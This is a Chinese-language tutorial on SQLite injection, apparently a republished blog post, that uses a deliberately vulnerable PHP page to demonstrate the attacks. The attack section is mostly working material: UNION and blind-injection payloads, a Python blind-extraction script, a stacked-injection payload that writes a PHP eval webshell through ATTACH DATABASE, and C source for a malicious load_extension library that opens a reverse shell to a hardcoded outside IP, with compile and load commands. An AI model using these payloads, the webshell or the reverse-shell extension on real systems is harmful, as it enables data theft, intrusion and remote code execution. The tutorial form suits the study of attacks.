前言

SQLite 是一个进程内的库,实现了自给自足的、无服务器的、零配置的、事务性的 SQL 数据库引擎。它是一个零配置的数据库,这意味着与其他数据库不一样,您不需要在系统中配置。SQLite 与 MySQL 还是有些区别的,SQLite 直接读写普通磁盘文件,每一个数据库就是一个文件,可以按应用程序需求进行静态或动态连接其存储文件进行数据操作。

SQLite 基础

在本篇文章中我们使用 SQLite3 来学习,SQLite3 的语法与 MySQL 相似。详细语法可以在这里学习:https://www.runoob.com/sqlite/sqlite-tutorial.html。

SQLite 创建数据库

SQLite 的 sqlite3 命令被用来创建新的 SQLite 数据库。您不需要任何特殊的权限即可创建一个数据。如下:

root@ubuntu:~# sqlite3 DatabaseName.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

上面的命令将在当前目录下创建一个文件 DatabaseName.db,该文件将被 SQLite 引擎用作数据库,并且 sqlite3 命令在成功创建数据库文件之后,将提供一个 sqlite> 提示符,该提示符用于交互式的操作库内的数据。我们可以使用 .database 命令来查看当前数据库:

sqlite> .database
main: /root/DatabaseName.db

SQLite 附加数据库

假设这样一种情况,当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库。SQLite 的 ATTACH DATABASE 语句的基本语法如下:

ATTACH DATABASE file_name AS database_name;

打开的数据库和使用 ATTACH 附加进来的数据库的必须位于同一文件夹下。如果数据库尚未被创建,上面的命令将创建一个数据库。

如下,我们想附加一个现有的数据库 testDB.db:

sqlite> ATTACH DATABASE 'testDB.db' as 'TEST';

如下,执行 .database 命令后,可以看到成功附加了一个 TEST:

sqlite> .database
main: /root/DatabaseName.db
TEST: /root/testDB.db

在特定情况下,我们可以通过附加数据库的方式写入 Webshell。

SQLite 创建表

SQLite 的 CREATE TABLE 语句用于在任何给定的数据库创建一个新表。CREATE TABLE 语句的基本语法如下:

CREATE TABLE database_name.table_name(column1 datatype  PRIMARY KEY(one or more columns),column2 datatype,column3 datatype,.....columnN datatype,
);

如下实例,我们创建了一个 users 表,ID 作为主键,NOT NULL 的约束表示在表中创建纪录时这些字段不能为 NULL:

sqlite> CREATE TABLE users(id INT PRIMARY KEY     NOT NULL,username           TEXT    NOT NULL,password           TEXT    NOT NULL,age            INT     NOT NULL
);

您可以使用 SQLIte 命令中的 .tables 命令来验证表是否已成功创建,该命令用于列出附加数据库中的所有表:

sqlite> .tables
users

您可以使用 SQLite .schema 命令得到表的完整信息,如下所示:

sqlite> .schema users
CREATE TABLE users(id INT PRIMARY KEY     NOT NULL,username           TEXT    NOT NULL,password           TEXT    NOT NULL,age            INT     NOT NULL
);

SQLite Insert 语句

SQLite 的 INSERT INTO 语句用于向数据库的某个表中添加新的数据行。语法如下:

INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)]
VALUES (value1, value2, value3,...valueN);

下面的语句将在 users 表中创建四个记录:

INSERT INTO users (id,username,password,age) VALUES (1, 'Admin', '123456', 20);
INSERT INTO users (id,username,password,age) VALUES (2, 'Whoami', '657260', 19);
INSERT INTO users (id,username,password,age) VALUES (3, 'Bunny', '963756', 19);
INSERT INTO users (id,username,password,age) VALUES (4, 'Allen', '759135', 21);

SQLite Select 语句

SQLite 的 SELECT 语句用于从 SQLite 数据库表中获取数据,以结果表的形式返回数据。SELECT 语句语法如下:

SELECT column1, column2, columnN FROM table_name;

如下我们查询刚刚创建的 users 表:

sqlite> .header on
sqlite> .mode column    # 前两个命令被用来设置格式化的输出
sqlite> SELECT * FROM users;
id          username    password    age
----------  ----------  ----------  ----------
1           Admin       123456      20
2           Whoami      657260      19
3           Bunny       963756      19
4           Allen       759135      21

SQLite 注释

与 MySQL 常见的注释符 # 不同,SQLite 的注释符以两个连续的 “-” 字符(ASCII 0x2d)开始,并扩展至下一个换行符(ASCII 0x0a)或直到输入结束,以先到者为准。

您也可以使用 C 风格的注释,以 /* 开始,并扩展至下一个 */ 字符对或直到输入结束,以先到者为准。SQLite 的注释可以跨越多行。

sqlite>.help -- 这是一个简单的注释

SQLite sqlite_master 表

sqlite_master 表是 SQLite 的系统表,是为每个 SQLite 数据库自动创建的特殊表。该表记录该数据库中保存的表、索引、视图、和触发器信息,每一行记录一个项目。在创建一个 SQLite 数据库的时候,该表会自动创建。如下查看 sqlite_master 表的结构,发现其包含 5 列:

sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (type text,name text,tbl_name text,rootpage integer,sql text
);
  • type:其值为 “table” 或者 “index”。
  • name:这个表的名称或者索引。
  • sql:创建表所使用的完整的 SQL 语句。

可知,sqlite_master 表中的 sql 字段中记录着你建表留下的完整的记录,也就是说我们在注入的时候可以通过查询 sqlite_master 表来获取数据库中的表名以及表结构,这就像我们在 MySQL 注入中查询 information_schema 一样。

同时,由于使用 CREATE 或 DROP 创建或销毁表在实际上与从特殊的 sqlite_master 表中执行 INSERT 或 DELETE 语句相同,所以当我们在特殊情况下可以通过操作 sqlite_master 表来创建或删除数据库表。【网络安全学习攻略·资料包

常见注入姿势

SQLite 注入的基本操作与 MySQL 注入相似,MySQL 有的 SQLite 基本都有,一个最大的不同就是没有 information_schema。

我们以下编写测试代码进行演示:

  • index.php
<?phpclass MyDB extends SQLite3{function __construct(){$this->open('DatabaseName.db');}}$db = new MyDB();if(!$db){echo $db->lastErrorMsg();} else {echo "You can query users by ID.\n</br>";}$id = $_POST['id'];$sql =<<<EOFSELECT * from users where id='$id';EOF;$ret = $db->query($sql);if($ret==FALSE){echo "Error in fetch ".$db->lastErrorMsg();}else{while($row = $ret->fetchArray(SQLITE3_ASSOC) ){echo "ID = ". $row['id'] . "</br>";echo "Username = ". $row['username'] ."</br>";echo "Password = ". $row['password'] ."</br>";}//var_dump($ret->fetchArray(SQLITE3_ASSOC));}   $db->close();
?>

测试闭合方式

正常查询:

尝试闭合单引号:

发现报错,说明当前闭合方式为单引号。

然后尝试使用分号 ; 闭合 SQL 语句:

1';


也可以使用 – 进行注释:

1' --


也可以使用 /* 进行注释:

1'/*

查询 SQL 语句字段数

与 MySQL 一样,我们可以使用 UNION 语句来查询字段数:

-1' union select 1,2,3;
-1' union select 1,2,3 --
-1' union select 1,2,3/*

-1' union select 1,2,3,4;
-1' union select 1,2,3,4 --
-1' union select 1,2,3,4/*


可知当前字段数为 4,并且可以在 1、2、3 这三个位置回显。

查询表名和列名

这里直接通过查询 sqlite_master 表来实现:

-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4 --
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4/*


如上图所示,得到了当前表创建时的语句:

CREATE TABLE users( id INT PRIMARY KEY NOT NULL, username TEXT NOT NULL, password TEXT NOT NULL, age INT NOT NULL
)

从语句中我们得知当前表名为 users,其中有 id、username、password、age 这四个字段。

当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:

-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4 --
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4/*

查询数据

得到表明和字段名之后我们便可以查询数据了:

-1' union select 1,2,(select group_concat(username,password) from users),4;
-1' union select 1,2,(select group_concat(username,password) from users),4 --
-1' union select 1,2,(select group_concat(username,password) from users),4/*

布尔盲注

根据查询正确或错误时的页面回显来判断数据内容:

-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*# sqlite 中没有 ascii, mid, left 等函数
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......



在爆 sql 字段时最好先 hex 编码一下。下面给出一个二分法盲注脚本:

import requests
url = 'http://192.168.219.130/index.php'
flag = ''
for i in range(1,500):low = 32high = 128mid = (low+high)//2while(low<high):payload = "-1' or substr((select hex(group_concat(sql)) from sqlite_master),{0},1)>'{1}'/*".format(i,chr(mid))datas = {"id": payload}res = requests.post(url=url,data=datas)if 'Username' in res.text:      # 为真时,即判断正确的时候的条件low = mid+1else:high = midmid = (low+high)//2if(mid ==32 or mid ==127):breakflag = flag+chr(mid)print(flag)print('\n'+bytes.fromhex(flag).decode('utf-8'))# 4
# 43
# 435
# 4352
# 43524
# 435245
# 4352454
# 43524541
# 435245415
# 4352454154
# 43524541544
# 435245415445
# 4352454154452
# 43524541544520
# 435245415445205
# 4352454154452054
# 43524541544520544
# 435245415445205441
# 4352454154452054414
# 43524541544520544142
# 435245415445205441424
# ......
# CREATE TABLE users(
#    id INT PRIMARY KEY     NOT NULL,
#    username           TEXT    NOT NULL,
#    password           TEXT    NOT NULL,
#    age            INT     NOT NULL
# )

时间盲注

SQLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。

并且 SQLite 没有 if,所以我们需要使用 case…when 来构造查询语句:

-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*

执行 payload 后将有一段时间的延时。

SQLite 注入写入 Webshell

还记得我们之前说的 SQLite 附加数据库吗?当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。

ATTACH DATABASE file_name AS database_name;

如果附加的数据库不存在,则会先创建该数据库,如果数据库文件路径设置在 WEB 目录下,就可以实现写入 Webshell 的功能。【网络安全学习攻略·资料包

如下我们在 SQLite 中执行以下语句:

ATTACH DATABASE '/var/www/html/shell.php' AS shell;    # 附加一个名为 shell.php 的数据库
create TABLE shell.exp (webshell text);    # 为 shell 库创建一个表
insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n');    # 插入数据


如上图所示,成功在 WEB 目录汇总生成了 shell.php,访问 shell.php 即可:


而在实际的 SQLite 注入中,写 Webshell 并没有那么简单,比如我们之前的测试代码:

  • index.php
<?phpclass MyDB extends SQLite3{function __construct(){$this->open('DatabaseName.db');}}$db = new MyDB();if(!$db){echo $db->lastErrorMsg();} else {echo "You can query users by ID.\n</br>";}$id = $_POST['id'];$sql =<<<EOFSELECT * from users where id='$id';EOF;$ret = $db->query($sql);if($ret==FALSE){echo "Error in fetch ".$db->lastErrorMsg();}else{while($row = $ret->fetchArray(SQLITE3_ASSOC) ){echo "ID = ". $row['id'] . "</br>";echo "Username = ". $row['username'] ."</br>";echo "Password = ". $row['password'] ."</br>";}//var_dump($ret->fetchArray(SQLITE3_ASSOC));}   $db->close();
?>

其中使用的是 query() 函数来执行 SQL 语句,这样的话就无法执行分号 ; 后面的内容,但如果我们将 query() 换成 exec(),此时将造成堆叠注入,这样便可以写 Webshell 了,并且 exec() 函数执行后没有回显。我们在注入的时候执行以下 payload 就行了:

-1';ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (webshell text);insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n');/*


如下成功连接 Webshell:

SQLite 加载动态库

网络安全学习攻略·资料包
为了方便开发者可以很轻便的扩展功能,SQLite 从 3.3.6 版本开始提供了支持扩展的能力,通过sqlite_load_extension API(或者 load_extension 函数 ),开发者可以在不改动 SQLite 源码的情况下,通过动态加载的库(so/dll/dylib)来扩展 SQLite 的能力。与 MySQL 中 UDF 类似,如果我们让 SQLite 加载恶意的动态库,那我们便可以达到执行系统命令的目的。

下面我们尝试通过 load_extension 加载恶意扩展实现反弹 Shell。

首先根据 SQLite 官网的例子,编写一个 so 扩展:

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1/* Insert your extension code here */
int tcp_port = 2333;
char *ip = "47.101.57.72";#ifdef _WIN32
__declspec(dllexport)
#endifint sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi
){int rc = SQLITE_OK;SQLITE_EXTENSION_INIT2(pApi);int fd;if ( fork() <= 0){struct sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(tcp_port);addr.sin_addr.s_addr = inet_addr(ip);fd = socket(AF_INET, SOCK_STREAM, 0);if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){exit(0);}dup2(fd, 0);dup2(fd, 1);dup2(fd, 2);execve("/bin/bash", 0LL, 0LL);
}return rc;
}

然后编译:

gcc -g -fPIC -shared exp.c -o exp.so
# gcc -g -shared exp.c -o exp.dll


然后直接加载:

select load_extension('/root/exp.so');

如下图所示,成功反弹 Shell:

借助 SQLite 动态加载的这个特性,我们可以通过文件上传等方式在一个可预测的存储路径中预先放置一个覆盖 SQLite 扩展规范的动态库,然后通过 SQL 注入漏洞调用 load_extension,就可以很轻松的激活这个库中的代码,直接形成了远程代码执行漏洞:

而在 Android
平台中有漏洞利用经验的人应该都很清楚,想要把一个恶意文件下载到手机存储中,有许多实际可操作的方式,例如收到的图片、音频或者视频,网页的图片缓存等。

-1'||load_extension('./uploads/exp.so');/*

但是默认情况下 load_extension 是被禁用的。

参考文献

最后

关注私我获取【网络安全学习攻略·资料包

SQLite 数据库注入总结相关推荐

  1. php sqlite 注入,利用SQLite数据库文件实现任意代码执行

    *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 前言 近期,我们对贝尔金WeMo智能家居设备的安全性进行了分析.在研究过程中,我们 ...

  2. 一天学完SQLite数据库与其注入方式

    初战SQLite数据库 0x01 关系型数据库 介绍 关系型数据库:是指采⽤了关系模型来组织数据的数据库,关系模型只包含单一的数据结构--关系.在用户看来,关系模型中的数据的逻辑结构就是一张扁平的二维 ...

  3. 用Python进行SQLite数据库操作

    简单的介绍 SQLite数据库是一款非常小巧的嵌入式开源数据库软件,也就是说没有独立的维护进程,所有的维护都来自于程序本身.它是遵守ACID的关联式数据库管理系统,它的设计目标是嵌入式的,而且目前已经 ...

  4. python自带模块连接数据库_Python模块Sqlite数据库模块

    Python模块Sqlite数据库模块简介 从Python2.5以后的版本开始引入SQLite,属于Python内置模块,不需要额外安装.Sqlite以小巧快捷著称.SQLite第一个Alpha版本诞 ...

  5. python sqlite数据库_用Python进行SQLite数据库操作

    简单的介绍 SQLite数据库是一款非常小巧的嵌入式开源数据库软件,也就是说没有独立的维护进程,所有的维护都来自于程序本身.它是遵守ACID的关联式数据库管理系统,它的设计目标是嵌入式的,而且目前已经 ...

  6. uwp连接mysql数据库_在 UWP 应用中使用 SQLite 数据库

    在 UWP 应用中使用 SQLite 数据库Use a SQLite database in a UWP app 06/26/2020 本文内容 可以使用 SQLite 在用户设备上的轻量级数据库中存 ...

  7. python操作内置Sqlite数据库

    转载自:http://www.cnblogs.com/yuxc/archive/2011/08/18/2143606.html 简单的介绍 SQLite数据库是一款非常小巧的嵌入式开源数据库软件,也就 ...

  8. python对sqlite增删改查_Python操作SQLite数据库的方法详解【导入,创建,游标,增删改查等】...

    本文实例讲述了python操作SQLite数据库的方法.分享给大家供大家参考,具体如下: SQLite简介 SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的 ...

  9. android查询mysql并显示_Android操作SQLite数据库(增、删、改、查、分页等)及ListView显示数据的方法详解...

    本文实例讲述了Android操作SQLite数据库(增.删.改.查.分页等)及ListView显示数据的方法.分享给大家供大家参考,具体如下: 由于刚接触android开发,故此想把学到的基础知识记录 ...

最新文章

  1. 【古法炮制】最原始的解决JAVA接口跨域的问题
  2. 算法----------字符串相乘(Java 版本)
  3. DL之SSD:基于tensorflow利用SSD算法实现目标检测(21类)
  4. SQL Server 2008 开启远程连接
  5. VTK:构造图用法实战
  6. boost::container模块实现全部分配的测试程序
  7. 使用rapid-framework自动生成struct2
  8. asp.net mvc使用TagBuilder的应用程序集
  9. java 线程访问控件_C#多线程与跨线程访问界面控件的方法
  10. 探索性数据分析入门_入门指南:R中的探索性数据分析
  11. 十年磨一剑:从2009启动“去IOE”工程到2019年OceanBase拿下TPC-C世界第一
  12. jhipster项目迁移websocket
  13. winform学习之-----页面设计-20160523
  14. pandas常用函数总结
  15. Docker|安装docker toolbox ,拉取镜像并在浏览器中打开 2021-05-29
  16. 深入浅出量化对冲Alpha基金的操作
  17. js01--js基础入门
  18. “好好说话,别伤人。”
  19. 刷刷刷!-数据分析必刷文档整理
  20. c 语言字符串查找替换,c ++ - 如何在标准字符串中搜索/查找和替换?

热门文章

  1. Autolisp:利用AuoCAD之Lisp编程案例之自动智能获取所选对象的面积并标注在指定位置
  2. WRF,WPS,WRF-Chem安装及编译步骤及bug总结(1)
  3. 8、python基础知识-用户输入
  4. python3 获取cookie解决方案
  5. leetcode 235. 二叉搜索树的最近公共祖先
  6. 将redis作为windows服务安装
  7. Python基础(14)_python模块之configparser模块、suprocess
  8. 从C++Primer某习题出发,谈谈C语言标准I/O的缓存问题
  9. jquery通过ajax提交form
  10. 44-当日交易总结。(2014.12.31)